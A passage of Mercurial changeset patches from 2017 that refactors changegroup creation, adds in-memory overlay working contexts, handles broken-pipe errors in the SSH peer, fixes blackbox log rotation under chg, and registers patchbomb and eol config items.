-        cg = changegroup.getchangegroup(pushop.repo, 'push', outgoing,
-                                        bundlecaps=bundlecaps)
+        cg = changegroup.makechangegroup(pushop.repo, outgoing, '01',
+                                        'push', bundlecaps=bundlecaps)
 
     # apply changegroup to remote
     # local repo finds heads on server, finds out what
diff --git a/tests/test-bundle2-format.t b/tests/test-bundle2-format.t
--- a/tests/test-bundle2-format.t
+++ b/tests/test-bundle2-format.t
@@ -114,7 +114,8 @@
   >             headmissing = [c.node() for c in repo.set('heads(%ld)', revs)]
   >             headcommon  = [c.node() for c in repo.set('parents(%ld) - %ld', revs, revs)]
   >             outgoing = discovery.outgoing(repo, headcommon, headmissing)
-  >             cg = changegroup.getchangegroup(repo, 'test:bundle2', outgoing, None)
+  >             cg = changegroup.makechangegroup(repo, outgoing, '01',
+  >                                              'test:bundle2')
   >             bundler.newpart('changegroup', data=cg.getchunks(),
   >                             mandatory=False)
   > 
diff --git a/tests/test-bundle2-multiple-changegroups.t b/tests/test-bundle2-multiple-changegroups.t
--- a/tests/test-bundle2-multiple-changegroups.t
+++ b/tests/test-bundle2-multiple-changegroups.t
@@ -13,13 +13,13 @@
   >     # in 'heads' as intermediate heads for the first changegroup.
   >     intermediates = [repo[r].p1().node() for r in heads]
   >     outgoing = discovery.outgoing(repo, common, intermediates)
-  >     cg = changegroup.getchangegroup(repo, source, outgoing,
-  >                                     bundlecaps=bundlecaps)
+  >     cg = changegroup.makechangegroup(repo, outgoing, '01',
+  >                                      source, bundlecaps=bundlecaps)
   >     bundler.newpart('output', data='changegroup1')
   >     bundler.newpart('changegroup', data=cg.getchunks())
   >     outgoing = discovery.outgoing(repo, common + intermediates, heads)
-  >     cg = changegroup.getchangegroup(repo, source, outgoing,
-  >                                     bundlecaps=bundlecaps)
+  >     cg = changegroup.makechangegroup(repo, outgoing, '01',
+  >                                      source, bundlecaps=bundlecaps)
   >     bundler.newpart('output', data='changegroup2')
   >     bundler.newpart('changegroup', data=cg.getchunks())
   > 
diff --git a/tests/test-bundle2-remote-changegroup.t b/tests/test-bundle2-remote-changegroup.t
--- a/tests/test-bundle2-remote-changegroup.t
+++ b/tests/test-bundle2-remote-changegroup.t
@@ -64,7 +64,8 @@
   >             common.extend(repo.lookup(r) for r in repo.revs(_common))
   >             heads = [repo.lookup(r) for r in repo.revs(heads)]
   >             outgoing = discovery.outgoing(repo, common, heads)
-  >             cg = changegroup.getchangegroup(repo, 'changegroup', outgoing)
+  >             cg = changegroup.makechangegroup(repo, outgoing, '01',
+  >                                              'changegroup')
   >             newpart('changegroup', cg.getchunks())
   >         else:
   >             raise Exception('unknown verb')
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505094691 25200
#      Sun Sep 10 18:51:31 2017 -0700
# Node ID dbf598196f05519620915fd094af5a07a5b4235c
# Parent  5ede882c249c362935678e0d386e8072002ca38a
changegroup: remove external uses of getbundler

Now that makestream and makechangegroup are the primary creation methods for
changegroups, let's get rid of this rogue use of getbundler and getsubsetraw.

Differential Revision: https://phab.mercurial-scm.org/D670

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -1595,8 +1595,8 @@
             raise ValueError(_('unsupported getbundle arguments: %s')
                              % ', '.join(sorted(kwargs.keys())))
         outgoing = _computeoutgoing(repo, heads, common)
-        bundler = changegroup.getbundler('01', repo, bundlecaps)
-        return changegroup.getsubsetraw(repo, outgoing, bundler, source)
+        return changegroup.makestream(repo, outgoing, '01', source,
+                                      bundlecaps=bundlecaps)
 
     # bundle20 case
     b2caps = {}
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505094760 25200
#      Sun Sep 10 18:52:40 2017 -0700
# Node ID 92f1e2be8ab65bec1e4dd17108b7bbbfe8607a80
# Parent  dbf598196f05519620915fd094af5a07a5b4235c
changegroup: rename getsubsetraw to makestream

Now that nothing uses getsubsetraw except makestream, let's move the
functionality into the makestream. This removes the last remaining excess
changegroup creation function, getsubsetraw.

Differential Revision: https://phab.mercurial-scm.org/D671

diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -911,11 +911,6 @@
         for node in nodes:
             repo.ui.debug("%s\n" % hex(node))
 
-def makestream(repo, outgoing, version, source, fastpath=False,
-               bundlecaps=None):
-    bundler = getbundler(version, repo, bundlecaps=bundlecaps)
-    return getsubsetraw(repo, outgoing, bundler, source, fastpath=fastpath)
-
 def makechangegroup(repo, outgoing, version, source, fastpath=False,
                     bundlecaps=None):
     cgstream = makestream(repo, outgoing, version, source,
@@ -923,7 +918,10 @@
     return getunbundler(version, util.chunkbuffer(cgstream), None,
                         {'clcount': len(outgoing.missing) })
 
-def getsubsetraw(repo, outgoing, bundler, source, fastpath=False):
+def makestream(repo, outgoing, version, source, fastpath=False,
+               bundlecaps=None):
+    bundler = getbundler(version, repo, bundlecaps=bundlecaps)
+
     repo = repo.unfiltered()
     commonrevs = outgoing.common
     csets = outgoing.missing
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1505160207 25200
#      Mon Sep 11 13:03:27 2017 -0700
# Node ID f698bb31bdfb74278ec76c31910e6548ac7a9834
# Parent  92f1e2be8ab65bec1e4dd17108b7bbbfe8607a80
context: add overlayworkingcontext and overlayworkingfilectx

These two classes will be used extensively in the first in-memory merge
milestone.

Differential Revision: https://phab.mercurial-scm.org/D616

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -1661,6 +1661,9 @@
                               listsubrepos=listsubrepos, badfn=badfn,
                               icasefs=icasefs)
 
+    def flushall(self):
+        pass # For overlayworkingfilectx compatibility.
+
     def _filtersuspectsymlink(self, files):
         if not files or self._repo.dirstate._checklink:
             return files
@@ -1974,6 +1977,191 @@
     def setflags(self, l, x):
         self._repo.wvfs.setflags(self._path, l, x)
 
+class overlayworkingctx(workingctx):
+    """Wraps another mutable context with a write-back cache that can be flushed
+    at a later time.
+
+    self._cache[path] maps to a dict with keys: {
+        'exists': bool?
+        'date': date?
+        'data': str?
+        'flags': str?
+    }
+    If `exists` is True, `flags` must be non-None and 'date' is non-None. If it
+    is `False`, the file was deleted.
+    """
+
+    def __init__(self, repo, wrappedctx):
+        super(overlayworkingctx, self).__init__(repo)
+        self._repo = repo
+        self._wrappedctx = wrappedctx
+        self._clean()
+
+    def data(self, path):
+        if self.isdirty(path):
+            if self._cache[path]['exists']:
+                if self._cache[path]['data']:
+                    return self._cache[path]['data']
+                else:
+                    # Must fallback here, too, because we only set flags.
+                    return self._wrappedctx[path].data()
+            else:
+                raise error.ProgrammingError("No such file or directory: %s" %
+                                             self._path)
+        else:
+            return self._wrappedctx[path].data()
+
+    def filedate(self, path):
+        if self.isdirty(path):
+            return self._cache[path]['date']
+        else:
+            return self._wrappedctx[path].date()
+
+    def flags(self, path):
+        if self.isdirty(path):
+            if self._cache[path]['exists']:
+                return self._cache[path]['flags']
+            else:
+                raise error.ProgrammingError("No such file or directory: %s" %
+                                             self._path)
+        else:
+            return self._wrappedctx[path].flags()
+
+    def write(self, path, data, flags=''):
+        if data is None:
+            raise error.ProgrammingError("data must be non-None")
+        self._markdirty(path, exists=True, data=data, date=util.makedate(),
+                        flags=flags)
+
+    def setflags(self, path, l, x):
+        self._markdirty(path, exists=True, date=util.makedate(),
+                        flags=(l and 'l' or '') + (x and 'x' or ''))
+
+    def remove(self, path):
+        self._markdirty(path, exists=False)
+
+    def exists(self, path):
+        """exists behaves like `lexists`, but needs to follow symlinks and
+        return False if they are broken.
+        """
+        if self.isdirty(path):
+            # If this path exists and is a symlink, "follow" it by calling
+            # exists on the destination path.
+            if (self._cache[path]['exists'] and
+                        'l' in self._cache[path]['flags']):
+                return self.exists(self._cache[path]['data'].strip())
+            else:
+                return self._cache[path]['exists']
+        return self._wrappedctx[path].exists()
+
+    def lexists(self, path):
+        """lexists returns True if the path exists"""
+        if self.isdirty(path):
+            return self._cache[path]['exists']
+        return self._wrappedctx[path].lexists()
+
+    def size(self, path):
+        if self.isdirty(path):
+            if self._cache[path]['exists']:
+                return len(self._cache[path]['data'])
+            else:
+                raise error.ProgrammingError("No such file or directory: %s" %
+                                             self._path)
+        return self._wrappedctx[path].size()
+
+    def flushall(self):
+        for path in self._writeorder:
+            entry = self._cache[path]
+            if entry['exists']:
+                self._wrappedctx[path].clearunknown()
+                if entry['data'] is not None:
+                    if entry['flags'] is None:
+                        raise error.ProgrammingError('data set but not flags')
+                    self._wrappedctx[path].write(
+                        entry['data'],
+                        entry['flags'])
+                else:
+                    self._wrappedctx[path].setflags(
+                        'l' in entry['flags'],
+                        'x' in entry['flags'])
+            else:
+                self._wrappedctx[path].remove(path)
+        self._clean()
+
+    def isdirty(self, path):
+        return path in self._cache
+
+    def _clean(self):
+        self._cache = {}
+        self._writeorder = []
+
+    def _markdirty(self, path, exists, data=None, date=None, flags=''):
+        if path not in self._cache:
+            self._writeorder.append(path)
+
+        self._cache[path] = {
+            'exists': exists,
+            'data': data,
+            'date': date,
+            'flags': flags,
+        }
+
+    def filectx(self, path, filelog=None):
+        return overlayworkingfilectx(self._repo, path, parent=self,
+                                     filelog=filelog)
+
+class overlayworkingfilectx(workingfilectx):
+    """Wrap a ``workingfilectx`` but intercepts all writes into an in-memory
+    cache, which can be flushed through later by calling ``flush()``."""
+
+    def __init__(self, repo, path, filelog=None, parent=None):
+        super(overlayworkingfilectx, self).__init__(repo, path, filelog,
+                                                    parent)
+        self._repo = repo
+        self._parent = parent
+        self._path = path
+
+    def ctx(self):
+        return self._parent
+
+    def data(self):
+        return self._parent.data(self._path)
+
+    def date(self):
+        return self._parent.filedate(self._path)
+
+    def exists(self):
+        return self.lexists()
+
+    def lexists(self):
+        return self._parent.exists(self._path)
+
+    def renamed(self):
+        # Copies are currently tracked in the dirstate as before. Straight copy
+        # from workingfilectx.
+        rp = self._repo.dirstate.copied(self._path)
+        if not rp:
+            return None
+        return rp, self._changectx._parents[0]._manifest.get(rp, nullid)
+
+    def size(self):
+        return self._parent.size(self._path)
+
+    def audit(self):
+        pass
+
+    def flags(self):
+        return self._parent.flags(self._path)
+
+    def setflags(self, islink, isexec):
+        return self._parent.setflags(self._path, islink, isexec)
+
+    def write(self, data, flags, backgroundclose=False):
+        return self._parent.write(self._path, data, flags)
+
+    def remove(self, ignoremissing=False):
+        return self._parent.remove(self._path)
+
 class workingcommitctx(workingctx):
     """A workingcommitctx object makes access to data related to
     the revision being committed convenient.
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505170758 25200
#      Mon Sep 11 15:59:18 2017 -0700
# Node ID c037fd655b47eb00d54dae5a57922760fb2620dc
# Parent  f698bb31bdfb74278ec76c31910e6548ac7a9834
ssh: fix flakey ssh errors on BSD systems

There's been a persistent issue with flakiness on BSD systems (like OSX) where
the 'no suitable response from remote hg' message would sometimes not appear.
This was caused by one of the earlier calls failing with a "IOError: Broken
pipe". Catching those errors and printing the same message removes the
flakiness.

Differential Revision: https://phab.mercurial-scm.org/D687

diff --git a/mercurial/sshpeer.py b/mercurial/sshpeer.py
--- a/mercurial/sshpeer.py
+++ b/mercurial/sshpeer.py
@@ -203,23 +203,33 @@
         self._pipei = doublepipe(self.ui, self._pipei, self._pipee)
         self._pipeo = doublepipe(self.ui, self._pipeo, self._pipee)
 
-        # skip any noise generated by remote shell
-        self._callstream("hello")
-        r = self._callstream("between", pairs=("%s-%s" % ("0"*40, "0"*40)))
+        def badresponse():
+            self._abort(error.RepoError(_('no suitable response from '
+                                          'remote hg')))
+
+        try:
+            # skip any noise generated by remote shell
+            self._callstream("hello")
+            r = self._callstream("between", pairs=("%s-%s" % ("0"*40, "0"*40)))
+        except IOError:
+            badresponse()
+
         lines = ["", "dummy"]
         max_noise = 500
         while lines[-1] and max_noise:
-            l = r.readline()
-            self._readerr()
-            if lines[-1] == "1\n" and l == "\n":
-                break
-            if l:
-                self.ui.debug("remote: ", l)
-            lines.append(l)
-            max_noise -= 1
+            try:
+                l = r.readline()
+                self._readerr()
+                if lines[-1] == "1\n" and l == "\n":
+                    break
+                if l:
+                    self.ui.debug("remote: ", l)
+                lines.append(l)
+                max_noise -= 1
+            except IOError:
+                badresponse()
         else:
-            self._abort(error.RepoError(_('no suitable response from '
-                                          'remote hg')))
+            badresponse()
 
         self._caps = set()
         for l in reversed(lines):
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504747885 25200
#      Wed Sep 06 18:31:25 2017 -0700
# Node ID 06eb3de47649ee9dd9bb8dcbd65151a749827241
# Parent  c037fd655b47eb00d54dae5a57922760fb2620dc
test-blackbox: make it compatible with chg

Differential Revision: https://phab.mercurial-scm.org/D647

diff --git a/tests/test-blackbox.t b/tests/test-blackbox.t
--- a/tests/test-blackbox.t
+++ b/tests/test-blackbox.t
@@ -147,11 +147,12 @@
   > eol=!
   > EOF
   $ hg blackbox -l 6
-  1970/01/01 00:00:00 bob @6563da9dcf87b1949716e38ff3e3dfaa3198eb06 (5000)> update
+  1970/01/01 00:00:00 bob @6563da9dcf87b1949716e38ff3e3dfaa3198eb06 (5000)> update (no-chg !)
   1970/01/01 00:00:00 bob @6563da9dcf87b1949716e38ff3e3dfaa3198eb06 (5000)> writing .hg/cache/tags2-visible with 0 tags
   1970/01/01 00:00:00 bob @6563da9dcf87b1949716e38ff3e3dfaa3198eb06 (5000)> pythonhook-preupdate: hgext.eol.preupdate finished in * seconds (glob)
   1970/01/01 00:00:00 bob @d02f48003e62c24e2659d97d30f2a83abe5d5d51 (5000)> exthook-update: echo hooked finished in * seconds (glob)
   1970/01/01 00:00:00 bob @d02f48003e62c24e2659d97d30f2a83abe5d5d51 (5000)> update exited 0 after * seconds (glob)
+  1970/01/01 00:00:00 bob @d02f48003e62c24e2659d97d30f2a83abe5d5d51 (5000)> serve --cmdserver chgunix --address $TESTTMP.chgsock/server.* --daemon-postexec 'chdir:/' (glob) (chg !)
   1970/01/01 00:00:00 bob @d02f48003e62c24e2659d97d30f2a83abe5d5d51 (5000)> blackbox -l 6
 
 log rotation
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504751250 25200
#      Wed Sep 06 19:27:30 2017 -0700
# Node ID 4f60720cf0df68dc455cba1a11c8fc9711222811
# Parent  06eb3de47649ee9dd9bb8dcbd65151a749827241
blackbox: fix rotation with chg

The added test will show:

  $ $PYTHON showsize.py .hg/blackbox*
  .hg/blackbox.log: < 500
  .hg/blackbox.log.1: < 500
  .hg/blackbox.log.2: < 500
  .hg/blackbox.log.3: < 500
  .hg/blackbox.log.4: < 500
  .hg/blackbox.log.5: >= 500

with previous code.

The issue is caused by blackbox caching file objects *by path*, and the
rotation size check could run on a wrong file object (i.e. it should check
"blackbox.log", but `filehandles["blackbox.log"]` contains a file object
that has been renamed to "blackbox.log.5").

This patch removes the "filehandlers" global cache added by 45313f5a3a8c to
solve the issue.

I think the original patch was trying to make different ui objects use a same
file object if their blackbox.log path is the same. In theory it could also
be problematic in the rotation case. Anyway, that should become unnecessary
after D650.

Differential Revision: https://phab.mercurial-scm.org/D648

diff --git a/hgext/blackbox.py b/hgext/blackbox.py
--- a/hgext/blackbox.py
+++ b/hgext/blackbox.py
@@ -73,21 +73,6 @@
 
 lastui = None
 
-filehandles = {}
-
-def _openlog(vfs):
-    path = vfs.join('blackbox.log')
-    if path in filehandles:
-        return filehandles[path]
-    filehandles[path] = fp = vfs('blackbox.log', 'a')
-    return fp
-
-def _closelog(vfs):
-    path = vfs.join('blackbox.log')
-    fp = filehandles[path]
-    del filehandles[path]
-    fp.close()
-
 def wrapui(ui):
     class blackboxui(ui.__class__):
         def __init__(self, src=None):
@@ -132,21 +117,23 @@
                         self.debug("warning: cannot rename '%s' to '%s': %s\n" %
                                    (newpath, oldpath, err.strerror))
 
-            fp = _openlog(self._bbvfs)
             maxsize = self.configbytes('blackbox', 'maxsize')
+            name = 'blackbox.log'
             if maxsize > 0:
-                st = self._bbvfs.fstat(fp)
-                if st.st_size >= maxsize:
-                    path = fp.name
-                    _closelog(self._bbvfs)
-                    maxfiles = self.configint('blackbox', 'maxfiles', 7)
-                    for i in xrange(maxfiles - 1, 1, -1):
-                        rotate(oldpath='%s.%d' % (path, i - 1),
-                               newpath='%s.%d' % (path, i))
-                    rotate(oldpath=path,
-                           newpath=maxfiles > 0 and path + '.1')
-                    fp = _openlog(self._bbvfs)
-            return fp
+                try:
+                    st = self._bbvfs.stat(name)
+                except OSError:
+                    pass
+                else:
+                    if st.st_size >= maxsize:
+                        path = self._bbvfs.join(name)
+                        maxfiles = self.configint('blackbox', 'maxfiles', 7)
+                        for i in xrange(maxfiles - 1, 1, -1):
+                            rotate(oldpath='%s.%d' % (path, i - 1),
+                                   newpath='%s.%d' % (path, i))
+                        rotate(oldpath=path,
+                               newpath=maxfiles > 0 and path + '.1')
+            return self._bbvfs(name, 'a')
 
         def _bbwrite(self, fmt, *args):
             self._bbfp.write(fmt % args)
diff --git a/tests/test-blackbox.t b/tests/test-blackbox.t
--- a/tests/test-blackbox.t
+++ b/tests/test-blackbox.t
@@ -230,3 +230,57 @@
 
 cleanup
   $ cd ..
+
+#if chg
+
+when using chg, blackbox.log should get rotated correctly
+
+  $ cat > $TESTTMP/noop.py << EOF
+  > from __future__ import absolute_import
+  > import time
+  > from mercurial import registrar, scmutil
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command('noop')
+  > def noop(ui, repo):
+  >     pass
+  > EOF
+
+  $ hg init blackbox-chg
+  $ cd blackbox-chg
+
+  $ cat > .hg/hgrc << EOF
+  > [blackbox]
+  > maxsize = 500B
+  > [extensions]
+  > # extension change forces chg to restart
+  > noop=$TESTTMP/noop.py
+  > EOF
+
+  $ $PYTHON -c 'print("a" * 400)' > .hg/blackbox.log
+  $ chg noop
+  $ chg noop
+  $ chg noop
+  $ chg noop
+  $ chg noop
+
+  $ cat > showsize.py << 'EOF'
+  > import os, sys
+  > limit = 500
+  > for p in sys.argv[1:]:
+  >     size = os.stat(p).st_size
+  >     if size >= limit:
+  >         desc = '>='
+  >     else:
+  >         desc = '<'
+  >     print('%s: %s %d' % (p, desc, limit))
+  > EOF
+
+  $ $PYTHON showsize.py .hg/blackbox*
+  .hg/blackbox.log: < 500
+  .hg/blackbox.log.1: >= 500
+  .hg/blackbox.log.2: >= 500
+
+  $ cd ..
+
+#endif
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504756493 25200
#      Wed Sep 06 20:54:53 2017 -0700
# Node ID 50df6cf227176235e5268496eac4aaf098f890f5
# Parent  4f60720cf0df68dc455cba1a11c8fc9711222811
blackbox: inline _bbwrite

There is no need to make it a separate method. This makes the next change
easier to read.

Differential Revision: https://phab.mercurial-scm.org/D649

diff --git a/hgext/blackbox.py b/hgext/blackbox.py
--- a/hgext/blackbox.py
+++ b/hgext/blackbox.py
@@ -135,10 +135,6 @@
                                newpath=maxfiles > 0 and path + '.1')
             return self._bbvfs(name, 'a')
 
-        def _bbwrite(self, fmt, *args):
-            self._bbfp.write(fmt % args)
-            self._bbfp.flush()
-
         def log(self, event, *msg, **opts):
             global lastui
             super(blackboxui, self).log(event, *msg, **opts)
@@ -192,8 +188,11 @@
                 else:
                     src = ''
                 try:
-                    ui._bbwrite('%s %s @%s%s (%s)%s> %s',
-                        date, user, rev, changed, pid, src, formattedmsg)
+                    fp = ui._bbfp
+                    fmt = '%s %s @%s%s (%s)%s> %s'
+                    args = (date, user, rev, changed, pid, src, formattedmsg)
+                    fp.write(fmt % args)
+                    fp.flush()
                 except IOError as err:
                     self.debug('warning: cannot write to blackbox.log: %s\n' %
                                err.strerror)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504757339 25200
#      Wed Sep 06 21:08:59 2017 -0700
# Node ID cf04db16f5834cc5b30881a6b7e203519dd6f619
# Parent  50df6cf227176235e5268496eac4aaf098f890f5
blackbox: do not cache file objects

Having the blackbox file objects cached in `ui._bbfp` could in theory be
troublesome if multiple processes (ex. chg servers) have file objects
referring to a same file. (Although I spent some time and failed to build a
convincing test case)

This patch makes blackbox re-open the file every time to make the situation
better. Ideally we also need proper locking.

The caching logic traces back to the commit introducing blackbox
(18242716a). That commit does not have details about why caching is
necessary.  Consider the fact that blackbox logs are not many, it seems fine
to remove the fp cache to be more confident.

Differential Revision: https://phab.mercurial-scm.org/D650

diff --git a/hgext/blackbox.py b/hgext/blackbox.py
--- a/hgext/blackbox.py
+++ b/hgext/blackbox.py
@@ -80,7 +80,6 @@
             if src is None:
                 self._partialinit()
             else:
-                self._bbfp = getattr(src, '_bbfp', None)
                 self._bbinlog = False
                 self._bbrepo = getattr(src, '_bbrepo', None)
                 self._bbvfs = getattr(src, '_bbvfs', None)
@@ -88,7 +87,6 @@
         def _partialinit(self):
             if util.safehasattr(self, '_bbvfs'):
                 return
-            self._bbfp = None
             self._bbinlog = False
             self._bbrepo = None
             self._bbvfs = None
@@ -143,16 +141,7 @@
             if not '*' in self.track and not event in self.track:
                 return
 
-            if self._bbfp:
-                ui = self
-            elif self._bbvfs:
-                try:
-                    self._bbfp = self._openlogfile()
-                except (IOError, OSError) as err:
-                    self.debug('warning: cannot write to blackbox.log: %s\n' %
-                               err.strerror)
-                    del self._bbvfs
-                    self._bbfp = None
+            if self._bbvfs:
                 ui = self
             else:
                 # certain ui instances exist outside the context of
@@ -160,12 +149,12 @@
                 # was seen.
                 ui = lastui
 
-            if not ui or not ui._bbfp:
+            if not ui:
                 return
             if not lastui or ui._bbrepo:
                 lastui = ui
             if ui._bbinlog:
-                # recursion guard
+                # recursion and failure guard
                 return
             try:
                 ui._bbinlog = True
@@ -188,19 +177,21 @@
                 else:
                     src = ''
                 try:
-                    fp = ui._bbfp
                     fmt = '%s %s @%s%s (%s)%s> %s'
                     args = (date, user, rev, changed, pid, src, formattedmsg)
-                    fp.write(fmt % args)
-                    fp.flush()
-                except IOError as err:
+                    with ui._openlogfile() as fp:
+                        fp.write(fmt % args)
+                except (IOError, OSError) as err:
                     self.debug('warning: cannot write to blackbox.log: %s\n' %
                                err.strerror)
+                    # do not restore _bbinlog intentionally to avoid failed
+                    # logging again
+                else:
+                    ui._bbinlog = False
             finally:
-                ui._bbinlog = False
+                pass
 
         def setrepo(self, repo):
-            self._bbfp = None
             self._bbinlog = False
             self._bbrepo = repo
             self._bbvfs = repo.vfs
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504757547 25200
#      Wed Sep 06 21:12:27 2017 -0700
# Node ID 029b33adbd17b19bb731dc78dc43ddd8c0c04e5b
# Parent  cf04db16f5834cc5b30881a6b7e203519dd6f619
blackbox: remove _bbvfs state

`_bbvfs` is redundant because it could be calcualted from `_bbrepo`.

Differential Revision: https://phab.mercurial-scm.org/D651

diff --git a/hgext/blackbox.py b/hgext/blackbox.py
--- a/hgext/blackbox.py
+++ b/hgext/blackbox.py
@@ -82,19 +82,23 @@
             else:
                 self._bbinlog = False
                 self._bbrepo = getattr(src, '_bbrepo', None)
-                self._bbvfs = getattr(src, '_bbvfs', None)
 
         def _partialinit(self):
-            if util.safehasattr(self, '_bbvfs'):
+            if self._bbvfs:
                 return
             self._bbinlog = False
             self._bbrepo = None
-            self._bbvfs = None
 
         def copy(self):
             self._partialinit()
             return self.__class__(self)
 
+        @property
+        def _bbvfs(self):
+            repo = getattr(self, '_bbrepo', None)
+            if repo:
+                return repo.vfs
+
         @util.propertycache
         def track(self):
             return self.configlist('blackbox', 'track', ['*'])
@@ -194,7 +198,6 @@
         def setrepo(self, repo):
             self._bbinlog = False
             self._bbrepo = repo
-            self._bbvfs = repo.vfs
 
     ui.__class__ = blackboxui
     uimod.ui = blackboxui
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787017 -7200
#      Fri Jun 30 03:43:37 2017 +0200
# Node ID 798b679680aafd5eb6491a04580e4a4ddfa5b687
# Parent  029b33adbd17b19bb731dc78dc43ddd8c0c04e5b
configitems: register the 'patchbomb.bundletype' config

diff --git a/hgext/patchbomb.py b/hgext/patchbomb.py
--- a/hgext/patchbomb.py
+++ b/hgext/patchbomb.py
@@ -99,6 +99,14 @@
 
 cmdtable = {}
 command = registrar.command(cmdtable)
+
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('patchbomb', 'bundletype',
+    default=None,
+)
+
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
 # be specifying the version(s) of Mercurial they are tested with, or
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787018 -7200
#      Fri Jun 30 03:43:38 2017 +0200
# Node ID 4ec0029b76e8b4086b870d4926a7c38459c759b5
# Parent  798b679680aafd5eb6491a04580e4a4ddfa5b687
configitems: register the 'patchbomb.confirm' config

diff --git a/hgext/patchbomb.py b/hgext/patchbomb.py
--- a/hgext/patchbomb.py
+++ b/hgext/patchbomb.py
@@ -106,6 +106,9 @@
 configitem('patchbomb', 'bundletype',
     default=None,
 )
+configitem('patchbomb', 'confirm',
+    default=False,
+)
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787019 -7200
#      Fri Jun 30 03:43:39 2017 +0200
# Node ID a6fa5af781a48f364cccf7d88ba40cba5c021b44
# Parent  4ec0029b76e8b4086b870d4926a7c38459c759b5
configitems: register the 'patchbomb.flagtemplate' config

diff --git a/hgext/patchbomb.py b/hgext/patchbomb.py
--- a/hgext/patchbomb.py
+++ b/hgext/patchbomb.py
@@ -109,6 +109,9 @@
 configitem('patchbomb', 'confirm',
     default=False,
 )
+configitem('patchbomb', 'flagtemplate',
+    default=None,
+)
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787020 -7200
#      Fri Jun 30 03:43:40 2017 +0200
# Node ID 7e2adac3dd60e9d0a0a88031fe6720085b3ba4b5
# Parent  a6fa5af781a48f364cccf7d88ba40cba5c021b44
configitems: register the 'patchbomb.from' config

diff --git a/hgext/patchbomb.py b/hgext/patchbomb.py
--- a/hgext/patchbomb.py
+++ b/hgext/patchbomb.py
@@ -112,6 +112,9 @@
 configitem('patchbomb', 'flagtemplate',
     default=None,
 )
+configitem('patchbomb', 'from',
+    default=None,
+)
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787021 -7200
#      Fri Jun 30 03:43:41 2017 +0200
# Node ID 97a3bb5aff251d01b3c545c11831fac4440e5f55
# Parent  7e2adac3dd60e9d0a0a88031fe6720085b3ba4b5
configitems: register the 'patchbomb.intro' config

diff --git a/hgext/patchbomb.py b/hgext/patchbomb.py
--- a/hgext/patchbomb.py
+++ b/hgext/patchbomb.py
@@ -115,6 +115,9 @@
 configitem('patchbomb', 'from',
     default=None,
 )
+configitem('patchbomb', 'intro',
+    default='auto',
+)
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
@@ -151,7 +154,7 @@
 
 def introwanted(ui, opts, number):
     '''is an introductory message apparently wanted?'''
-    introconfig = ui.config('patchbomb', 'intro', 'auto')
+    introconfig = ui.config('patchbomb', 'intro')
     if opts.get('intro') or opts.get('desc'):
         intro = True
     elif introconfig == 'always':
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787023 -7200
#      Fri Jun 30 03:43:43 2017 +0200
# Node ID aeb956e7729f0830f7cf23f48c51d2bfa59418b6
# Parent  97a3bb5aff251d01b3c545c11831fac4440e5f55
configitems: register the 'patchbomb.publicurl' config

diff --git a/hgext/patchbomb.py b/hgext/patchbomb.py
--- a/hgext/patchbomb.py
+++ b/hgext/patchbomb.py
@@ -118,6 +118,9 @@
 configitem('patchbomb', 'intro',
     default='auto',
 )
+configitem('patchbomb', 'publicurl',
+    default=None,
+)
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786761 -7200
#      Fri Jun 30 03:39:21 2017 +0200
# Node ID 0f685a229a81bfd81490cce8c64941603943e140
# Parent  aeb956e7729f0830f7cf23f48c51d2bfa59418b6
configitems: register the 'eol.fix-trailing-newline' config

diff --git a/hgext/eol.py b/hgext/eol.py
--- a/hgext/eol.py
+++ b/hgext/eol.py
@@ -102,6 +102,7 @@
     extensions,
     match,
     pycompat,
+    registrar,
     util,
 )
 
@@ -111,6 +112,13 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('eol', 'fix-trailing-newline',
+    default=False,
+)
+
 # Matches a lone LF, i.e., one that is not part of CRLF.
 singlelf = re.compile('(^|[^\r])\n')
 
@@ -123,7 +131,7 @@
         return s
     if ui.configbool('eol', 'only-consistent', True) and inconsistenteol(s):
         return s
-    if (ui.configbool('eol', 'fix-trailing-newline', False)
+    if (ui.configbool('eol', 'fix-trailing-newline')
         and s and s[-1] != '\n'):
         s = s + '\n'
     return util.tolf(s)
@@ -134,7 +142,7 @@
         return s
     if ui.configbool('eol', 'only-consistent', True) and inconsistenteol(s):
         return s
-    if (ui.configbool('eol', 'fix-trailing-newline', False)
